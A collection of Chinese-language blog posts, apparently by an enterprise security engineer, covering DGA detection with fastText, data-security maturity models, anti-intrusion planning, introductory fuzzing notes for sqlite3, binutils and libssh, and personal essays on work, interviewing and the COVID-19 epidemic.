/source/_posts/2018-10-29-DGA-Detect.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 使用fasttext进行DGA检测
4 | categories: 安全工程师
5 | kerywords: 机器学习 DGA检测
6 | tags: AI与机器学习 学习数据挖掘 入侵检测与反入侵
7 | ---
8 |
9 | # 正文
10 |
11 | 最初接触到fasttext做文本分类是在去年7月份做webshell检测时,后来还是选择了CNN Text Classification。当时关于fasttext的介绍已经有一部分了。关于原理什么的在这就不讲了,之前的文章里应该有。
12 |
13 | 由于没有GPU,所以在做完自动化威胁列表之后,决定尝试下使用fasttext对文本进行分类。
14 |
15 | 具体项目参见[这里](https://github.com/mylamour/DGADomain),包含了使用说明。
16 | 采用了360netlab提供的公开数据集,以及一份alexa top 100millon。
17 | 
18 |
19 | 经过250个epoch之后可以达到很好的准确度。为1, 但是模型太大,可以采用quantize进行训练,压缩。但是会导致精度下降,cutoff值越大,精度越低,模型越小。
20 |
21 | # 其他
22 |
23 | 上周发现了集团内部的一个平台存在着较为严重的数据泄露,随机直接联系了那个项目的负责人,告诉他,大量敏感数据集泄露(分别是来自不同平台推送的训练数据集)。然后这个人,这个技术专家就直接在前端改了下,完了...今天,再去测,还是存在路径遍历,可以越权读到所有数据。本身情况下非该应用用户是不能下载的,而且该应用用户间也不能随便下别人的数据集。后来谈着没两句,居然给我说到了月饼事件,说起了价值观。这尼玛的专家,真是呵呵呵。
24 |
25 | 就算大部分人知道正确的价值观,也不代表他们会做价值观正确的事情。更何况其他心怀不轨的呢。而且事事上升到价值观并不是个好事。
26 |
27 | # 资源
28 |
29 | * [DGADomain](https://github.com/mylamour/DGADomain)
30 | * [fasttext text classification](https://fasttext.cc/docs/en/supervised-tutorial.html)
--------------------------------------------------------------------------------
/source/_posts/2019-01-01-New-Year.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 如是我狗屁不通
4 | categories: HowTo
5 | kerywords: 人类 事业 道理 未来 伴侣
6 | tags: 漫漫人生路
7 | ---
8 |
9 | 以下,一家之言,狗屁不通。就当放屁了吧。
10 |
11 | # 2018
12 |
13 | 蟪蛄不知初秋,夏虫不可语冰。
14 |
15 | 时间轮转,我们能否在有限的时间内去感知到生命的长短,每每思及,犹为感叹。人如此,世界也是如此。万事万物皆是如此。局限于外物,无法得观其物。局限于自身,无法正视自身。受想行识,亦复如是。纵观过往,平生未曾见过真正的不以物喜不以己悲之人。大多只是,事不关己,不喜不悲。若涉及自身,心情必然浮沉难定。
16 |
17 | 世人多易局限于自身的小小成就,沾沾自喜。学术中人,多有倨傲之人,往往只是因为在某一方面略有造诣。倨傲并非不好,然而却不利于精进。故后世少见有惊天伟略之才,心境已输。职场中人,小有成就(或未可言)便自以为是。职权之便,指点东西。商场中人,商海逐利,浮沉未定。小商小贩,稍有得利即洋洋自得。然而不得不说的是,商场中人反倒有不少人能参透其中道理。官场中人,少有接触。如我所见,小官多凭借一己之权,谋一己之私。丑态难堪,吃相难堪就不说了。至于大官呢,着实有些见识,也不少厉害手段。然而其形态,尤未脱去旧态,只是改变了吃相。(官职较高者接触不多,屈指可数,也许片面之言。)
18 |
19 | 有人的地方就有江湖。各种圈子之中,演艺圈,娱乐圈,金融圈,学术圈,安全圈,运维圈等等。均有两面,众人眼中肮脏的娱乐圈未必缺乏真情之辈,纯净的学术之地也不乏衣冠禽兽之辈。皆有两面。非亲非故,逐利而已。抱团取暖,逐利而已。面对不幸或不公,沉默者沉默,其实同等罪过。然而大多人,无力为之。只求自身平安。更有助纣为虐者,狐假虎威,可恶至极。
20 |
21 | 情感二字,言浅情深。亲情,爱情,友情等等,所谓有情众生,皆是苦海。怨憎会,求不得,爱离别。无一脱离情感。我等即非佛门中人,也不愿脱离这所谓苦海。自然需要一番经营。经营之道,不是很懂。因果循环,也不可知。
22 |
23 | # 2019
24 |
25 | 须弥纳芥,镜花水月,刹那亦永恒。
26 |
27 | 佛经有言,世界此生彼灭,此灭彼生,永无止境。又言人死犹如梦醒(在另一世界从梦中醒来)。然而众生却需珍惜当下。正所谓花开堪折直须折,莫待无花空折枝。希望自己能够知行合一,精进努力。
28 |
29 | 来,看大爷给你笑一个。
--------------------------------------------------------------------------------
/source/_posts/2019-01-25-Project-Manager.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: PL的项目反思
4 | categories: HowTo
5 | kerywords: 思考 项目 反思 问题 经验 教训 总结
6 | tags: 漫漫人生路
7 | ---
8 |
9 | # BackGround
10 |
11 | 前景提要: 一个项目涉及到A侧的若干团队,B侧若干团队。作为PL,在这个过程中遇到了许多问题,同时值得反思的地方也很多。假如以后遇到了该怎么办?无论你的答案是什么,都希望你能有一种意识,提前发现在这些问题,并做好决策去权衡利弊,达到细节处置妥当,系统功能和性能均衡完善,以及流程闭环的程度。
12 |
13 | 也许其他的项目不会遇到这种问题,有则改之无则加勉。
14 | 也许还有其他潜在的问题没有发现,仍旧需要去挖掘的。
15 |
16 | # Thinking
17 |
18 | * 拿到一个项目时,怎么样确定事情前进的方向,以及推动进展的方向?同时如果项目中涉及的系统缺乏文档,同时又涉及到非常多的系统和利益方应该如何去做?
19 | * 跨团队合作的过程中团队间的合作意向问题,如何确定意向的强烈?如何帮助推动项目前进,同时不造成反感?
20 | * 跨团队间合作的消息不同步,或者消息存在差异性应该怎么办?以及下次推项目的时候如何有效的避免?
21 | * 是否盲目的去跟着KPI走?
22 | * 如何缓解做了事情却没有被上面看到,遭到质责的窘境?
23 | * 如何快速的推动项目进展的同时解决出现的未知问题?
24 | * 面对高层质问的时候,也许可能对方理解不对的时候,已经对发出了一堆质问,如何在保持自己情绪的情况下,把讨论扳回正轨?比如说向不同的架构师解释方案(总架构师对该方案针对各系统的影响,安全架构师认为方案的安全可行性,计算力交付部门的架构师对方案资源使用的可行性评估,业务方架构师认为牵涉到改到的成本等等),向业务方解释必要性,让开发方理解该项目的ROI,向集团和公司两侧说明问题所在,解决问题所在?
25 | * 如何权衡本职责侧不同团队间为了达成同一目标涉及到的利益问题以及追责问题?
26 | * 如何从中评估不同团队间的技术水准,以便对数据分析的结果做出好的评判,以及从全局上来看,更好的把控项目进度?
27 | * 如何做好关键数据的数据分析,以及阅读不同图表得到对应的规律或者说是反馈出来的信息?(时间序列图对应到业务分布情形下阅读)
28 | * 团队内意见不统一,消息同步不及时(不仅仅指一侧的不同项目团队)?
29 | * 两方决策者不愿意承担责任,或者说不愿意主动去承担时怎么确定方案的落地?
30 | * 当低P去请求或者遇到卡在高p时需要怎么做?
31 | * 给出的方案,当被拒绝了怎么办,给出多个方案时,依旧被拒绝怎么办?如果拒绝的同时又无法提出新的方案该怎么办?
32 | * 给出的方案不可落地怎么办?
33 | * 方案落地的流程应该是个什么样的,如何做好备选方案?
34 | * 落地方案中的落地时效和性能如何权衡,或者说怎么从这些条件中权衡问题的所在?
35 | * 心态很重要,即便没有生气,是不是要表示出生气的状态,以此用来表明自己的态度?
36 | * 规章流程的重要性?是否不可改变,即便当涉及到的问题非常微小?大公司往往觉有较为严格的流程化规范。同时也是比较浪费资源的。比如说一样进展必须在一个发布窗口内完成?如何避免这种类似的时间资源消耗?以及流程审批上的时间资源消耗?
37 | * 涉及关键系统的权限应该怎么去获取?资源申请得不到文档指示的同时怎么办?寻求同事帮助也无果呢?
38 | * 举例技术方案落地需要了解业务的重要性?需要分别了解到什么样的细节程度?技术细节以及业务逻辑之间的冲突如何解决?
39 |
40 | # Other
41 |
42 | 如果你心中有一份不错的答卷,也许我们可以邮件互相讨论一下。
--------------------------------------------------------------------------------
/source/_posts/2019-03-13-Thinking-about-Interview.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 浅谈面试官与面试观
4 | categories: HowTo
5 | kerywords: 思考 反思 问题 经验 教训 总结
6 | tags: 漫漫人生路
7 | ---
8 |
9 | # 前言
10 |
11 | 距离上一篇文章已经有21天了,每天都在围绕着工作打转,不是设计方案,就是在落地方案,梦里都在工作,着实有些压抑。且随即而来的KPI考评,种种事情竟使得没有多余的精力去写心得文章。写这边博客的原因是今天恰好面试了一个求职者,想想之前作为面试官的经历。不禁让我有种动笔的欲望,浅薄的聊一聊怎么成为一个好的面试官。(ps: 自诩一直是个比较好的面试官。)
12 |
13 | 如果不想看废话,直接看最后的列表。
14 |
15 | # 面试观的三个阶段
16 |
17 | 最早的时候,去面试别人。一般会根据简历上的项目去问具体的实现细节,然后针对某个技术实现,引出自己在现实中遇到过的问题,对方有没有碰到过。看下对方的解决思路,不一定要求解决思路是对的,但要有一个讨论的过程。最终类似这样逐渐的将一个个项目问完。主要会关注简历上的技术细节实现。但是针对技术能力较差的求职者,还是会感到不爽,可能是因为年轻吧,耐心也不足,后面的面试就会给求职者一种没有希望的感觉。虽然我尽力去控制自己的情绪,但现在想来还是有点不对。在我所处的面试环节结束后,我会把求职者的技术回答点和评估同步给下一面的同事,留给后面的同事评估。
18 |
19 | 后来,我进行面试的时候,会有意识的引导求职者去回答问题,这在最初的阶段是没有的。并且尽力营造一个轻松的氛围,即便这个求职者不能得到这份工作,但是还是会学到一些关于技术方案的讨论结果。如何去做等等。这是我很长一段时间内认为应该处于的这种面试状态。
20 |
21 | 但是现在,我的面试观又增加了新的观点。针对性的按不同需求方面去考察。不再仅简历和技术的引申点,而是以完全能够胜任这份工作所涉及的方面去向求职者提问。当然依旧是保持友善的态度和轻松的氛围。例如:如果一个人来面安全的数据分析岗位。技术上我就会从三个方面去考察,一是安全能力,二是开发能力,三是算法能力。当然这些并不要求全部具备,但是我还是会从这几个方面去考察这个求职者。需要知道他的解决问题的思路,以及为什么会某项技能为什么不会。是不是工作中用不到就没有兴趣去自己学习。当然,如今看来,心态方面更是好了很多。针对那些不符合要求的求职者,心里也不会再有生气的感觉。而是觉得自己仍需努力。(觉得面试已经是靠缘分了...蓦然回首,那人却在灯火阑珊处)
22 |
23 | 还有一项很重要的也是比较常规的事情是留给对方的问题,让求职者询问面试官希望了解哪些公司的方面,以及人或事。其实不仅仅是求职者再问,同时也是面试官了解求职者的另一个重要途径。通过求职者主动询问的问题,更能够去观测这个人是个什么样的。是不是让你耳目一新,或者是靠张忽悠的嘴吃饭。
24 |
25 | # 结论
26 |
27 | 我认为一个好的面试官应该这样:
28 |
29 | * 提前了解简历的内容,一面、二面、三面...的面试官直接要互通有无
30 | * 针对性的根据职位需求提出问题
31 | * 关注求职者的职业发展规划
32 | * 给求职者询问的空间
33 | * 照顾求职者的感受,营造轻松的氛围
34 | * 能够由浅入深的引出问题
35 | * 引导求职者回答问题,以及解决思路
36 |
37 | # 其他
38 |
39 | * 有时候几年的工作经验真的决定不了什么,时间是把杀猪刀。很多人在工作几年后多了些没用的经验,反倒把技术给丢到了后面。经验固然重要,但也不能固步自封,停滞不前,毕竟技术才是技术人的立足之本。
40 | * 年轻的职场人士应当能够秉持本心,去做正确的事情。例如:拒绝加班。如果没有人愿意踏出那一步,那这个劣习就永远不可能改掉。学会拒绝,学会说不。
--------------------------------------------------------------------------------
/source/_posts/2019-04-14-DSMM-Date-Security.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: DSMM第四期与我的数据安全观
4 | categories: 安全工程师
5 | kerywords: 思考 反思 问题 工作经验 总结
6 | tags: 数据安全
7 | ---
8 |
9 | 有幸参加了集团的DSMM第四期的培训,这次培训也的确对我的安全观产生了一些影响和改变。因此予以纪录写下该篇文章。
10 |
11 | # 数据安全能力成熟度模型
12 |
13 | 数据安全能力成熟度模型简称DSMM。在此之前谈及数据安全和数据防泄漏,我的主要观点基本是明确数据流向,权限分级,异常监控这三个方面。 但是从DSMM测评师的角度来看,则需要关注到整个数据安全生命周期。下图就是比较知名的DSMM架构图:
14 |
15 | 
16 |
17 | 从图中可以很清楚的看到,一共从三个方面:能力成熟度,能力维度和过程维度去定义该模型。(学习DSMM的过程还应该学习到个人信息安全保护法以及网络安全法, 当然你不要嘲笑我说这是扯淡的,或者居高临下的说没卵用)。 这三个维度分别代表了数据安全过程中:
18 | 1. 组织的能力——企业或者公司有没有能力或有没有去做数据安全这件事情;
19 | 2. 人员的能力——负责制定策略,实施策略的人员是否具有对应的能力;
20 |
21 | 其中二级和三级的显要区别就是是否有效的体系化的从组织层面进行确保数据安全。
22 | 传统的SDL关注软件本身,从设计到原型,从交付到维护的过程中存在的潜在安全问题并进行解决。但是DSMM则关注数据链路中从数据的采集,传输,存储,处理,交换,销毁整个过程。以及其中的通用安全域更是从各方面囊括了安全治理的方向。显然,通常来看,数据的生命周期是要比软件的生命周期更加的长久。同时,根据数据链路(包含了从网络层到应用层到主机层到存储层)去考虑问题更加的全面,而根据传统的思路考虑则是更多的根据组织架构各司其职。
23 |
24 | 
25 |
26 | # 数据安全构建能力
27 |
28 | 数据安全的构建一定要从高层开始,由高层制定相关的策略,自上而下的由专岗专人进行实施,包括运营能力,技术能力,合规能力,管理能力等等。
29 |
30 | 
31 |
32 | # 数据安全测评能力
33 |
34 | 测评师针对数据安全评测的能力和数据安全的构建能力则又是另一种情况,数据安全构建的过程中数据专岗人员进行设计并落地。但是测评往往是第三方机构去做。针对测评师则不仅仅要了解各个数据安全过程域在对应企业的设计还要了解如何沟通,如何进行沟通过程,并尽量保持客观公正。
35 |
36 | 
37 |
38 | # 其他
39 | 其实无论是哪个行业都会存在概念炒作,比如AR/VR,后来是AI,区块链。 当炒作起来的时候,这些概念毫无疑问的会渗透进你所在的行业。我不确定数据安全的概念是不是随着GDPR和DSMM在国内将要火一把,但是我将会将安全的攻防治理的视野放在数据安全生命周期上。
40 |
41 | # 资源
42 |
43 | * [个人信息安全法](https://www.tc260.org.cn/upload/2018-01-24/1516799764389090333.pdf)
44 | * [中华人民共和国网络安全法](http://www.npc.gov.cn/npc/xinwen/2016-11/07/content_2001605.htm)
45 | * [DSMM送审稿终版]()
46 | * [一张表读懂《个人信息安全规范》与 GDPR 的异同](http://www.anjielaw.com/uploads/soft/180620/1-1P620103453.pdf)
47 |
48 |
--------------------------------------------------------------------------------
/source/_posts/2019-05-09-Massive-Security.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: “混沌安全”与反入侵
4 | categories: 安全工程师
5 | kerywords: 安全思考 反思 安全 安全架构 安全创新 总结 反入侵 安全运营 混沌安全
6 | tags: 入侵检测与反入侵 安全运营
7 | ---
8 |
9 | 考虑到近些天一直在思考如何做好反入侵。故做此篇。其实是上午梳理出了一个PPT,抛砖引玉,贴于此处(这也应该是做好企业安全所需要的)。
10 |
11 | 感觉最近瓶颈期终于突破了(似乎?),意味着近期之内又将陷于新的瓶颈期。顺便想创造一个新词叫做混沌安全。或者Massive Security.注意不是Chaos Security.似乎叫混沌安全也不是很贴切。后面想想再说吧。
12 |
13 | 
14 | 
15 | 
16 | 
17 | 
18 | 
19 | 
20 | 
21 | 
22 | 
23 | 
24 | 
25 | 
26 |
27 | update 20190515:
28 | 昨晚和小飞侠师傅讨论了一下,我在图中说的”输出以产品为核心“不是指安全产品,指的是围绕业务产品去输出安全能力。没有写清楚,是个问题。顺便讨论了管理模型,如何以目标导向,KPI,OKR, SMART,6Sigma。不得不说,每次和小飞侠师傅交流都能学到不少东西,哈哈,感谢。(其实还有内容安全和IOT安全没有放进去,也应该放进去,但是要看侧重点。)
29 |
--------------------------------------------------------------------------------
/source/_posts/2019-07-30-Let_s_get_start_to_fuzzing_sqlite3_latest_with_fuzzer_test_suite.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Fuzzing学习笔记:sqlite3 with fuzzer-test-suite
4 | categories: 安全工程师
5 | kerywords: Fuzzing fuzzer-test-suite sqlite3
6 | tags: Fuzzing 旧文迁移
7 | ---
8 |
9 | In this blog, all you need is only `https://github.com/google/fuzzer-test-suite/` .
10 |
11 | First, prepare your environment, it must be installed with `docker` and `git`. Then, let's start.
12 | look at this picture, all steps was happed when you
13 | `git clone https://github.com/google/fuzzer-test-suite/ && cd fuzzer-test-suite`.
14 |
15 | So, just follow the picture step by step, finally you would make it running(Just for learning).
16 | And you should know, most important is `fuzzer`, you can custom it by yourself, and most time
17 | you result was depend on it.
18 |
19 |
20 | 
21 | 
22 |
23 | Good luck to you, wish you can find the bug in sqlite3.
24 |
--------------------------------------------------------------------------------
/source/_posts/2019-07-31-Let_s_get_start_to_fuzzing_binutils_with_AFL.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Fuzzing学习笔记:binutils with AFL
4 | categories: 安全工程师
5 | kerywords: Fuzzing AFL
6 | tags: Fuzzing 旧文迁移
7 | ---
8 |
9 | In the begin at the blog, look at this picture, it was fuzzing with `readelf` ( one of `binutils` )
10 | 
11 | And nothing was found ...
12 |
13 | Now, let follow this steps, until you can fuzz it by yourself.
14 |
15 | 
16 | 
17 |
18 | So, may be you already know about this tricks. yes , right. you can just compile it with `afl-gcc` or `afl-g++`、`afl-calng` when you got the source code. And generate lots data to feed it to `afl-fuzz`
19 | In this situation, you should able to fuzzing with many program.
--------------------------------------------------------------------------------
/source/_posts/2019-07-31-Let_s_get_start_to_fuzzing_libssh_latest_with_fuzzer_test_suite.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Fuzzing学习笔记:libssh with fuzzer-test-suite
4 | categories: 安全工程师
5 | kerywords: Fuzzing fuzzer-test-suite libssh
6 | tags: Fuzzing 旧文迁移
7 | ---
8 |
9 | First, you should read this [issues](https://github.com/mylamour/blog/issues/63), then you would got a overview of it. and should able to use this docker image
10 | Now, let me show you how to modify and run it easily.
11 |
12 | 1. `cd /root/FTS/libssh-2017-1272`
13 | 2. `vim build.sh`
14 | 
15 | 3. `cd .. && ./libssh-2017-1272/build.sh`
16 | 4. `./libssh-2017-1272-fsanitize_fuzzer`
17 | 
18 |
19 | Best wish to you, good luck. (may be you should modify `libssh_server_fuzzer.cc` by yourself.)
20 |
--------------------------------------------------------------------------------
/source/_posts/2019-09-07-How-To-Design-Your-KPI-Of-Anti-Intrusions.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 怎么设计你的反入侵KPI
4 | categories: 安全工程师
5 | kerywords: 反入侵 KPI OKR
6 | tags: 入侵检测与反入侵 安全运营
7 | ---
8 |
9 |
10 | 下面的是我针对生产网反入侵的KPI规划,当然如果公司能够早日采用OKR的方式,或许是一个更好的选择。
11 |
12 | 原件这里[反入侵的KPI.zip](https://github.com/mylamour/blog/files/3587240/KPI.zip)
13 |
14 | 
15 | 
16 | 
17 | 
18 | 
19 | 
20 | 
21 | 
22 | 
23 | 
24 | 
25 | 
26 |
27 |
28 | 这些天在看《管理的常识》一书中,时常提到一个观点。即绩效是团队的绩效,作为Leader应该能让你的老板和参于其中的人产生绩效。这才是Leader的作用。
29 | 同时无论是绩效还是管理,对象都是事。下面的人只有先围绕着把事情做完,先想我去怎么做,而不是我为什么做这个。(不代表因此就是粗鲁的,无礼的,不讲究效率的)。 毕竟大部分时候leader的视野是比宽广一些。 同时,一旦经过大家的确定无疑之后,分工结束就应该全力以赴去做。 《卓越的管理者》一书中更是提出了一个观点,当你为公司的业绩作贡献时,你就是一个管理者。思考了一下,确实当你开始思考某一方面,拥有新的视角之后会产生新的责任感,同时获得资源利用。何况当你主动去思考?责任-资源-权力是对等。如果能形成一个良性循环,将会为职业生涯带来利好。但是,知道和做到还差很远。
30 |
31 | 相信自己,去做。从自我管理开始。
32 |
33 | # 其他:好书推荐
34 |
35 | 最近在读的书单:
36 | * 《管理的常识》
37 | * 《卓越的管理者》
38 | * 《批判性思考指南》
39 | * 《原则》
40 |
41 | 已经读完的书单:
42 | * 《富爸爸与穷爸爸》
43 | * 《小狗钱钱》
44 |
--------------------------------------------------------------------------------
/source/_posts/2019-09-30-About-Incident-Response-In-Big-Problem.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 关于重保这件事
4 | categories: 安全工程师
5 | kerywords: 重大事件保障 阶段性检测
6 | tags: 安全运营 旧文迁移
7 | ---
8 |
9 | 简写两笔感悟,有空下次再续。
10 | 首先从管理上来看,在驱动安全落地的两种方式中: **事件驱动** 和 **管理驱动** 中,重保是一件极为有利于推动企业进行安全整改的**事件**, 属于事件驱动中的经典事件。由于一般情况下重保都是由政府或者监管机构发起的,而且随着国家对于网络安全的重视,这些策略可以说是很痛的打在企业身上,能够极为有效的推动安全部门的落地工作。至于无论是事件驱动还是管理驱动,在我的认知里,沟通才是最为重要的。不要一开始就想着事件驱动,而是应该首先做好沟通。当沟通的结果不满足预期时,此时再进行事件驱动,本着外来的和尚会念经原则,利用外部提交过来的一些问题推动内部的发展。但是注意不要把自己放在研发、运维的对立面,而应该是互相协作。共同为客户提供好的安全保障。
11 |
12 | 第二点谈一谈重保实现的形式,重保往往是注重于形式化。有时候可能不切中实际落点。和企业安全防御的建设本身有些出入。但是并不意味着重保是无效的。同时往往也能暴露出一些问题。就是**永远不要以战术上的勤奋,去掩盖战略上的懒惰**。一群人,日日加班,在重保期间,24h online, 应急止血。这从另一方面只能说明了一件事,事前的企业安全架构没有做好,检测和止血的能力也没有自动化。同样仅仅依靠重保期间的高强度工作去应付检测时不起作用的。尤其是疲于奔命的应急和毫无预演和规范的止血操作。但是如果企业能够吸收重保带来的教训,能够在接下来的时间段内提高自身的安全建设,也是值得。总的来说,不能止于形式。
13 |
14 | 第三点谈一谈相反的一种情况,就是大促和重保。大促时候的重保往往和监管的等保,政府的护网不同。大促是企业本身做出的关于营销方面的重大决定。无论是确保风控本身,还是企业安全本身。在大促期间的保障行为毫无疑问是极为重要的。但是针对大型的互联网公司,大促可能带来超大流量,不亚于一次超大型的DDOS,虽然此时有些防护是在ISP和CDN上做了清洗,同时也通过人机验证过滤掉了一批用户。但是此时的流量和用户依旧是巨大的。同时无论是反爬还是安全设备也往往在此时会进行降级,比如不再全量检测,规则也进行降级。只保留核心的waf规则等等,避免把串联在边界的安全设备打垮,同时由于业务请求量的激增,也会导致日志收集系统流量暴涨。为了避免相关联的系统崩溃,有时也会关闭日志。尽可能的把资源全部留在业务上。那么这个时候怎么办?老虎打盹的时候需要依赖边界栅栏,边界的硬抗加硬件分光,大数据的检测平台,即便常用的日志收集出现问题,也要尽可能的保障在边界的检测行为。根据大促的特点,不会是全时段的,可以针对大促的不同时段,调整对应的规则,进行降级等等。另外还有很重要的一点就是**提前做好演练**。不要降级降挂了,在真正实操的时候出现了暗坑。此时业务当先,一切都将措手不及。还想到一件事,事件的统一收口: “核按钮”。 以及风险的统一收口:各种降级开关。
--------------------------------------------------------------------------------
/source/_posts/2019-11-03-What-Hells-In-JumpServer.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 堡垒机的一点收益
4 | categories: 安全工程师
5 | kerywords: 企业安全 互联网企业安全
6 | tags: 安全运维 安全架构
7 | ---
8 |
9 | 堡垒机这种东西,是企业中极为常见的。但当你从一个不负责的工程师那里以无交接的形式接受之后。针对出现的一些事情,会怎么处理?如何才能在自己心里有这种架构图?
10 | 
11 |
12 | 怎么知道堡垒机的网络架构,物理部署位置,业务流程,和公司内部平台的结合?这些都是需要考虑的地方。
13 | 比如说其中最开始接触到堡垒机的时候,是没有人告知中间还有一层代理结构。也不知道办公网和生产网间的一些依赖。所以再从头回顾一下,应该怎么样去进行?
14 |
15 | * 了解其网络架构,以及相关的对接人员。 (例如IT生产网和办公网的网络段)
16 | * 了解其物理部署架构,以及相关的对接人员。 (例如当机器出现故障,迅速通知机房人员去重启机器,通知对接人员办理厂商的准入,通知厂商人员进入机房,了解依赖设施的部署位置,数据中心的机房,办公基础设施的机房等以及灾备VPN的位置等)
17 | * 了解系统间的依赖。(例如和企业自身的计算力交付部门的系统集成,提供的自助申请系统,VPN和LDAP的相关架构和物理部署等等)
18 | * 了解堡垒机内部组件,运作模式。(了解机器是否有带外管理卡,是否是多网卡,是否自助开启api服务,数据备份策略等等)
19 |
20 | 一般来讲,能做到这个程度的实在不多。所以当你脑海中有这么个架构的时候,你会发现所谓的堡垒机问题,并不一定是堡垒机本身引起的。也可能是网络问题,依赖设施的问题等等。那么我们再来看看到底有哪些东西会导致“堡垒机故障”?
21 |
22 | * 网络问题(代理问题,IP网段的冲突问题,段间的依赖问题,DNS调整问题,办公网路由问题等等都有可能导致)
23 | * 堡垒机主机问题(光纤网卡,电源管理策略,数据备份策略,数据同步问题,内核模块的问题,软件模块等等,这个问题算是真正的堡垒机问题,但是厂商交付的产品一般是较为可靠的,注意也不能全部相信,所以要保证架构高可用)
24 | * 用户问题(准确来说,用户问题才是真正的堡垒机问题,你写的文档无论如何通俗易懂,他都不看。这个涉及到人性,以及工程师水平的问题了。)
25 |
26 | 除去这三种直接问题,堡垒机的整个依赖的架构中,还需要注意的点是(或者说通用的架构设计中的问题所在),尽量避免使用push操作,改用pull的方式。另外一点就是针对堡垒机的依赖系统中,出现的问题怎么能够及时修复,和范围收拢。当然,研发可能面临资源不足的问题,那么像这种关键设施的关键点怎么能够及时修复其实是个极为严峻的问题。有时候就不得不站在策略管理的角度进行施压和资源调度。
27 |
28 |
29 | # 其他
30 | 没啥想说的,很累。成年人应该对自己的行为负责。有时候我在想不仅成年人,未成年人也应该为自己的行为负责。后来我想可能只有你意识到了这点你才是个成年人。
--------------------------------------------------------------------------------
/source/_posts/2019-12-13-Before-New-Year.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 写于二零二零元旦前
4 | categories: HowTo
5 | kerywords: 人类 情感 未来 尝试 自强 势
6 | tags: 漫漫人生路
7 | ---
8 |
9 | 岁末将至,也迎来了一年一度的研究生入学考试。回顾年初的计划,似乎尤能记得定下目标时的模样。然而却未曾实现这其中的一样——考研。不知是渴望学术高地,亦或是倾心于校园一方净土。总归毕业之后的若干规划中不止一次的出现了考个在职研究生的想法。或许是给自己找借口,也或许是工作繁忙,着实无法抽身。就这样,一年又消失在指尖。是地铁上的坐落起行,是工位前的苦思冥想。更似那书桌前的困顿疲倦,还有浴室里升腾的热气。
10 |
11 | 留,是留不住的。可是留不住就不留了吗? 不。
12 |
13 | 考试,是一个形式。一般为了筛选,每一场都面临着抉择。没有绝对的对错,但仍需去把握每一个细节,为自己落下的一笔一划负责。又或许不只是一场考试,甚至没有选择。谁给出的考试?又为谁而抉择,成功与否谁又由谁来评判? 升学,入职,绩效, 创业, 都可都看做考试。每一次领域的转变也都是一场挑战,挑战带来机遇。但持之以恒又何尝不是另一场考验?是先过自己这一关,还是过别人那一关?
14 |
15 | 过与不过,无可亦无不可。谁会选择树林里人少的那条路? 看风景亦是风景中的人,从心则从善。
16 |
17 | 风险却可以通过分摊的方式把损失降低。考试而言,是组团学/复习还是组团作弊的选择暂时不谈。昨日友人去B站面试,遗憾的是没有通过。于他于我都是一个不好的消息。无法安慰,唯求自强。面临风险的因素是多方面的,增强自身(不仅是自身,例如强身健体,学习格斗和雇佣保镖都可以起到保护的作用), 降低风险。内部还是外部,自己还是别人?
18 |
19 | 借势,要有信念,要有原则。 借来的终究是别人的,要借自己的。
20 |
21 | 路是要走的,风险也是有的,借势消除风险,过程也是风险。一生二,二生三。一切都是相辅相成。生活原则若能与工作原则协调一致,自是欢喜,若不能,也不必难过。不以物喜,不以己悲。欣赏下风景也又何尝不可。星河依旧灿烂,诗歌永远流传。无论是看到“无边落木萧萧下”,还是“黄河之水天上来”,何尝不可歌以咏志。也算是这困顿迷途中的一些宽慰。不禁让我又想起三毛那句:心之何如,有似万丈迷津,遥亘千里,其中并无舟子可渡人,除了自渡,他人爱莫能助。
22 |
23 | 能够成长是件幸事,亦非易事。但事实却往往大道至简,不必想的过与复杂。明日冬至,愿诸事顺遂。
--------------------------------------------------------------------------------
/source/_posts/2020-02-02-WTF-WH.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 说说疫情
4 | categories: HowTo
5 | kerywords: 人类 情感 未来 尝试 自强 势
6 | tags: 漫漫人生路
7 | ---
8 |
9 | > 既然这篇文章发在微信公众号被和谐,那还是放在博客吧。
10 |
11 | 自疫情蔓延以来,已经不止一次想写点什么。每每落笔,总是出离了愤怒。正如鲁迅先生所说,不在沉默中爆发就在沉默中灭亡。事中回顾,仍不难发现诸多问题、弊端、以及人血馒头。从猎奇的野味爱好者,或者说是管不住脑子也管不住嘴的蠢蛋到一些只知沽名钓誉的浑蛋。真的是形象的诠释了人不为己,天诛地灭。吃痛快了的蠢蛋在医院奄奄一息,论文中奖的浑蛋欢呼雀跃。柳叶刀医不了热衷舆论控制的迂腐官僚,粉饰太平的最好借口就是别人在造谣。网络空间的法制在逐渐健全。即便每一个成年人都应该为他说的话负责任,然而人们也早已一次次失去网络言论的自由。在国家执法机关沦为权力的忠犬时,那张嘴还是不要张开了,铁箍紧捆,丢进牢笼。微博,人民日报,朋友圈自媒体还在唱着各自的赞歌,举起的大旗一路更是随着风向一变再变。还有那无知的群众和道貌岸然的砖家,或许吃屎真的能医好砖家的脑袋,但学医确实救不了中国人了。第三者的报道无法看到,没有分辨的机会自然也不会知道真假。我始终觉得脑子是个好东西。人活着,最可贵的莫过于还能够思考。
12 |
13 | 人命在灾年一向是不值钱的,古有易子而食,今有实事求"十"。哪个时代都不缺坏人,有人搞造假,有人抬物价。然而这些都远不如空手套白狼来的轻巧。只要脸皮够厚心够黑,总能吃的脑满肠肥。左手的捐资存到右手的钱包,管他什么™的救援物资,什么™的前线支援,什么™的人命关天,谁又能™的真去翻译翻译?可现在都已经2020年了! 抢得过的依旧抢得过,抢不过的还是抢不过。有人“坐镇”官场,一问三不知,也有人奔走忙碌,昼夜无眠。都说屁股决定脑袋,可是那些大屁股却从来不肯动动脑袋。为官之道,似乎更多的只学到了王顾左右而言他。
14 |
